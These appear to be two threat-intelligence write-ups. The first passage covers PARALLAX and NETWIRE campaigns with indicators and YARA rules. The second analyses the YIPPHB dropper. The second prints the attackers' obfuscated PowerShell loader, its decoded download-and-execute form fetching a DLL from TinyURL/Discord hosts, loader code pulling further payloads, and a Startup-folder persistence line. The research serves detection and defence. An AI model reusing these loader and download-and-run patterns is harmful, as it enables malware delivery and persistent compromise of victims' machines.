| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                          |
Campaign Intersections
Campaign 1 and Campaign 2 intersect in several ways.
As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.

The Pyramid of Pain
In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.

The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict.
When analyzing the two campaigns, we can put the Pyramid of Pain into action.

Hash values - each lure document had a unique hash.
IP addresses - each network connection leveraged a different IP address.
Domain names - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).
Network/host artifacts
Identically-named host artifacts observed in Campaign 1.
Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.
Artifact bundles from both campaigns include similarly formatted and functionally identical files.
Tools - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.
TTPs - complex and defensive five-staged execution chain.

Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.

In both campaigns, we can see a PE file ( MsiDb.exe and java.exe ), a DLL file ( msi.dll and msvcr100.dll ), a PNG file ( paper.png and Fruit.png ), an audio-format named file ( cs16.wav and idea.mp3 ), and a configuration file ( cs16.cfg and idea.cfg ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( cs16.wav / cs16.cfg and idea.mp3 / idea.cfg ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.
The SEPTTON Domain
As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.
An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.

  It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.

!septton[.]com file relationships
Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.
!septton[.]com domain registration
In the next two sections, we’ll discuss the resource development for domains used in campaigns.
marketforce666
Searching for marketforce666 in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.

When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.
!Domains registered to marketforce666@yandex[.]com
gaza666
Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of gaza666 from the online forum and marketplace, Infected Zone.
On this forum, the user gaza666 attempted to purchase (https://infected-zone[.]com/threads/2814/) an “Office 365 Complete Package” from the online seller rzkyo. gaza666 and the seller rzkyo engaged in a dispute on the forum where gaza666 did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, rzkyo , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.

!Invoice where gaza666 is linked to chisholm.i@aol[.]com
The results of the dispute were not in the forum, but there were several screenshots where rzkyo showed gaza666 and the moderators that the services they sold were functional.



While it is unknown if the infrastructure above that gaza666 attempted to purchase from rzkyo was used in our observed campaigns (or ever used at all), but gaza666 is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.

marketforce666 (marketforce666@yandex[.]com) and gaza666 (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The 666 term appended to marketforce and gaza could be another indicator of their relationship, but this could not be confirmed.
Diamond Model
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Observed Adversary Tactics and Techniques
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Resource Development
Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Command and Control

Techniques / Sub techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Acquire Infrastructure: Domains
Phishing: Attachment
Hijack Execution Flow: DLL Side-Loading
Process Injection
Scheduled Task
Native API
Obfuscated Files or Information: Steganography
Abuse Elevation Control Mechanism: Bypass User Account Control

Detection
Detection Logic
The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.
Behavioral Rules

NetWire RAT Registry Modification
Remcos RAT Registry or File Modification

Detection Rules

Persistence via Scheduled Job Creation
Command Prompt Network Connection

Signatures

Windows.Trojan.Parallax
Windows.Trojan.Netwire
Windows.Trojan.Remcos

YARA
Elastic Security has created YARA rules to identify this activity.
rule Windows_Trojan_Parallax_1 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-05"
        last_modified = "2022-09-15"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
        $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
        $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
        $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
    condition:
        $config_func or $winnet_function or $COM_png or $png_parse
}

rule Windows_Trojan_Parallax_2 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-08"
        last_modified = "2022-09-08"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
        $parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
        $parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
        $parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
        $parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
        $parallax_payload_strings_5 = "lt +" ascii wide fullword
        $parallax_payload_strings_6 = "lt]" ascii wide fullword
        $parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
        $parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
        $parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
        $parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
        $parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
        $parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
        $parallax_payload_strings_13 = ".FileExists" ascii wide fullword
    condition:
        7 of ($parallax_payload_strings_*)
}

PARALLAX Payload Extractor
Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.
Our extractor takes either a directory of samples with -d option or -f for a single sample, You can use the -o switch to set the output directory of the payloads.

To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed here.
Conclusion
In the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.
We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.
References
The following were referenced throughout the above research:

https://blog.morphisec.com/parallax-rat-active-status
https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax
https://attack.mitre.org/software/S0198/
https://attack.mitre.org/groups/G0120/
https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum
http://blog.nsfocus.net/darkcasino-apt-evilnum/

Indicators
Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.
| Name                                                             | STIX 2.1 Indicator Type | Identifier                                        |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256                 | Brian_Tax_Docs.doc lure document                  |
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256                 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256                 | All Docs.doc lure document                        |
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256                 | msi.dll PARALLAX loader / NETWIRE                 |
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256                 | cs16.wav (shellcode)                              |
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256                 | cs16.cfg (config for PNG stage)                   |
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256                 | paper.png (stager for NETWIRE)                    |
| 321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c | SHA-256                 | 2021-EXTENSION.doc lure document                  |
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256                 | msvcr100.dll PARALLAX loader / NETWIRE            |
| globalartisticservices[.]com                                     | domain-name             | PARALLAX loader domain                            |
| DigitalRotPrevention[.]com                                       | domain-name             | PARALLAX loader domain                            |
| InternationalMusicServices[.]com                                 | domain-name             | PARALLAX loader domain                            |
| ywiry[.]com                                                      | domain-name             | NETWIRE C2 domain                                 |
| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                                 |
| septton[.]com                                                    | domain-name             | NETWIRE C2 domain                                 |
| solro14.s3.ap-northeast-3.amazonaws[.]com                        | domain-name             | PARALLAX loader domain                            |
| mikemikemic[.]com                                                | domain-name             | Domains registered by marketforce666@yandex[.]com |
| ppl-biz[.]com                                                    | domain-name             | Domains registered by marketforce666@yandex[.]com |
| opnarchitect[.]net                                               | domain-name             | Domains registered by marketforce666@yandex[.]com |
| micsupportcenter[.]com                                           | domain-name             | PARALLAX loader domain                            |
| russnet123@protonmail[.]com                                      | email-addr              | PARALLAX loader domain registration email address |
| chisholm.i@aol[.]com                                             | email-addr              | NETWIRE C2 domain registration email address      |


Doing time with the YIPPHB dropper
Seth Goodwin,Derek Ditch,Salim Bitam,Remco Sprooten,Andrew Pease — Mon, 21 Nov 2022 00:00:00 GMT
Key takeaways

Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.
YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.
The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.

Preamble
While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.
Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.
This research focused on the following:

Loader phase
Dropper phase
RAT phase
Activity clusters
Network infrastructure
Hunting queries

Analysis
The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.

Loader phase
While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.
Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a U. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: CyberChef.
By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.

Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The loader is downloaded from https://tinyurl[.]com/2erph6cs. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.
To unfurl the TinyURL, we can use the JSON API endpoint from Unshorten.me:
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

Downloading dllsica.txt from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from dllsica.txt can easily be decoded without substitutions.
Using the cat , base64 , xxd , and head command line tools, we can see that this has a hexadecimal value of 4d5a and an MZ magic number in the file header. This confirms we’re analyzing a PE file.

cat - catenates a file
base64 -D - the -D switch decodes a base64 encoded file
xxd - creates a hexadecimal dump of an input
head - returns the first 10 lines of a file

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.

file - verify the file type
shasum -a 256 - the -a 256 switch uses the 256-bit hashing algorithm

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Now that the loader has been collected, it executes the method PUlGKA inside of the class NwgoxM.KPJaN. From the original Base64 decoded string
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:


We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Dropper phase
From the loader's execution image above, we can see that the loader uses a reversed variable (text = bdw6ufv4/moc[.]lruynit//:sptth) to download an additional file using a TinyURL. Using the command line tool, rev , we can correct the reversed URL.
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Another encoded file is downloaded from Discord: pesica.txt. As of this writing, VirusTotal reports zero detections of this file.
With clues from dllsica.bin , we can see that pesica.txt uses UTF-8 encoding. To further analyze our file, we need to replace the ▒▒▒▒ values with an A , and Base64 decode the resulting strings.
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
    Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
    {
    text4 + "\\InstallUtil.exe",
    Convert.FromBase64String(text3)
    });
…truncated…

We can stack recipes to perform these functions with CyberChef.

Once we’ve decoded pesica.txt , we calculate the hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. The decoded output of pesica.txt shows the YippHB module name.
...truncated...
ToInt16

YippHB
ResumeThread_API
...truncated...

This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher Paul Melson. Paul publicly disclosed this dropper in October of 2022 at the Augusta BSides security conference.
The YIPPHB dropper is executed using the Installutil.exe command-line utility to start the RAT phase.

  We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.

RAT phase
Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The RAT was retrieved from https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, which is reversed from txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.
Looking at the file 10oct8000.txt file, we can see that it is a reversed, Base64-encoded file.
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

We can correct this file and Base64 decode it using the command-line tools rev and base64 and save the output as 10oct8000.bin.
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin has a SHA256 hash of 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. This file is reported on VirusTotal as a variant of the LIMERAT or NJRAT malware families (depending on the source).
Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (1, 2).
The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.

For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( TllBTiBDQVQ= ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with a known NJRAT code base, this C2 configuration information adds to our conviction that this is related to NJRAT.

If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:

victimName ( vn )
Hardware ID
Username
OSFullName
OSVersion Servicepack
if the Program Files folder ends in X86 or not
if a webcam is present
the window name
a permission check on the registry

If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, here and here
Activity clusters
We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

This query allowed us to identify Powershell activity that uses both Unicode characters and the replace function.

Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable iUqm and the ⌚⌚⌚Unicode icons.
| Cluster ID | Variable | Unicode icon + number | Percentage of prevalence (rounded) |
| ---------- | -------- | --------------------- | ---------------------------------- |
| 1          | ngfYq    | ❞ (U+275E)            | 1%                                 |
| 2          | Codigo   | ❤ (U+2764)           | 1%                                 |
| 3          | iUqm     | ⌚ (U+231A)           | 9%                                 |
| 4          | iUqm     | ⚔ (U+2694)           | 6%                                 |
| 5          | Codigo   | ⁂ (U+2042)            | 62%                                |
| 6          | iUqm     | ✌ (U+270C)           | 1%                                 |
| 7          | Codigo   | ⏏ (U+23CF)           | 1%                                 |
| 8          | Cg1O     | ☈ (U+2608)            | 5%                                 |
| 9          | Codigo   | ♔ (U+2654)            | 10%                                |
| 10         | iUqm     | ﭏ (U+FB4F)            | 1%                                 |
| 11         | Codigo   | _*\/}+/_=         | 1%                                 |
| 12         | iUqm     | ☈ (U+2608)            | 2%                                 |
Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( _*\/}+/_= ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.
Collecting and parsing network data
To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the process.command_line fields and the follow-on C2 used by the RAT implants.
Loader and Dropper
As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.
To avoid execution of the Powershell command itself, we can leverage the text processing tool awk. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.
To get started, we’ll need to get access to our data on the command line where we can pipe it to awk. We’ve published a tool called eql-query (and another called lucene-query ) to do just that.
Using eql-query , we can run an EQL query to retrieve the last 180-days of results, retrieving only the process.command_line field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

Next, use jq to pass the raw string to awk using jq '._source.process.command_line' -r | awk.

  If you’re doing this iteratively, it’s best to write the results from eql-query to a file, and then operate on the results locally until you have your pipeline how you’d like it.

The next step is to capture the strings used in the Powershell replace commands so we can perform that function ourselves. The best way to do this using awk is by capturing them with a regular expression.
This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an awk pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.
function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Finally we can grep out the Base64 code (using another regex) and reveal the obfuscated Powershell script.
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Parsing the URLs from this text should be another simple awk match, followed by flipping the second URL, however, Powershell’s default encoding is UTF-16LE and awk only supports UTF-8 or ASCII encoding. A tool called iconv can perform the necessary conversion.
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Once converted, the rest is straightforward parsing. Our output will contain url1 , url2 , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.
| Unicode icon | Replacement | url1                                         | url2                                                         |
| ------------ | ----------- | -------------------------------------------- | ------------------------------------------------------------ |
| ⌚⌚⌚        | U           | https://tinyurl[.]com/2erph6cs             | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚        | U           | http://91.241.19[.]49/ARTS/dllf3txt        | http://91.241.19[.]49/test/new/ZX1.txt                     |
| ⁂            | A           | http://20.231.55[.]108/dll/06-07-2022.PDF  | http://212.192.246[.]226/dsaffdffa.txt                     |
For further details or to try it against your own data, see the shell script that combines it all.
Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.
RAT
As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each url1 and url2 output in the previous step, loop through each list, and use curl to download them.

  This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.

As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:
ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

We use -v to capture the request and response headers, -L to follow redirects, and --connect-timeout to speed up the process when the infrastructure is down. Finally, save the curl output to a log file while any files downloaded are saved as file-X , where X is the value of the counter.
Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the file command. A Base64-encoded file will be identified as “ASCII text, with very long lines (length), with no line terminators” where length is the file size. For files that match this language, we’ll decode them and save them with a .dll extension.
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

